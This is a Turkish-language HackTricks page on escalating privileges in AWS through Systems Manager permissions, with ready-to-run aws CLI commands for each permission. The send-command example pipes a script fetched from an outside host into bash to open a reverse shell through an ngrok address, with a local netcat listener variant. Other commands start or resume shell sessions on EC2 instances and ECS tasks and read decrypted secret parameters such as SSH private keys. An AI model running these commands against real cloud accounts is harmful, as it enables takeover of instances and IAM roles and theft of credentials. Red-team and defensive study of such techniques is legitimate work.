AWS - SSM Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

SSM

SSM hakkında daha fazla bilgi için kontrol edin:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand iznine sahip bir saldırgan, Amazon SSM Agent'ı çalıştıran örneklerde komutlar çalıştırabilir ve içindeki IAM Rolünü tehdit edebilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Eğer bu tekniği zaten ele geçirilmiş bir EC2 örneği içinde ayrıcalıkları artırmak için kullanıyorsanız, rev shell'i yerel olarak şu şekilde yakalayabilirsiniz:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potansiyel Etki: SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme.

ssm:StartSession

ssm:StartSession iznine sahip bir saldırgan, Amazon SSM Agent'ı çalışan örneklerde SSH benzeri bir oturum başlatabilir ve içinde çalışan IAM Rolünü tehlikeye atabilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Bir oturum başlatmak için SessionManagerPlugin'in kurulu olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Olası Etki: SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc.

ECS'ye Privesc

ECS görevleri ExecuteCommand etkinleştirildiğinde yeterli izinlere sahip kullanıcılar ecs execute-command kullanarak bir komut çalıştırabilirler konteyner içinde. belgelere göre bu, “exec“ komutunu başlatmak için kullandığınız cihaz ile hedef konteyner arasında güvenli bir kanal oluşturarak yapılır. (Bunun çalışması için SSM Session Manager Plugin gereklidir) Bu nedenle, ssm:StartSession iznine sahip kullanıcılar, bu seçenek etkinleştirildiğinde ECS görevleri içinde bir shell alabileceklerdir sadece şunu çalıştırarak:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potansiyel Etki: ExecuteCommand etkin olan çalışan görevlere bağlı ECS IAM rollerine doğrudan yetki yükseltme.

ssm:ResumeSession

ssm:ResumeSession iznine sahip bir saldırgan, Amazon SSM Agent'ını çalıştıran örneklerde bağlantısı kesilmiş SSM oturum durumu ile bir SSH benzeri oturumu yeniden başlatabilir ve içindeki IAM Rolünü tehdit edebilir.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potansiyel Etki: Çalışan SSM Ajansı olan EC2 IAM rollerine doğrudan yetki yükseltme ve bağlantısı kesilmiş oturumlar.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Belirtilen izinlere sahip bir saldırgan, SSM parametrelerini listeleyebilecek ve açık metin olarak okuyabilecektir. Bu parametrelerde sıklıkla hassas bilgiler bulabilirsiniz, örneğin SSH anahtarları veya API anahtarları.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Olası Etki: Parametreler içinde hassas bilgileri bulma.

ssm:ListCommands

Bu izne sahip bir saldırgan, gönderilen tüm komutları listeleyebilir ve umarım bunlar üzerinde hassas bilgileri bulabilir.

aws ssm list-commands

Potansiyel Etki: Komut satırlarında hassas bilgileri bulmak.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Bu izinlere sahip bir saldırgan, gönderilen tüm komutları listeleyebilir ve çıktıyı okuyabilir, umarım üzerinde hassas bilgiler bulabilir.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potansiyel Etki: Komut satırlarının çıktısında hassas bilgileri bulmak.

Codebuild

Ayrıca, SSM'yi kullanarak inşa edilen bir codebuild projesine girebilirsiniz:

AWS - Codebuild Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.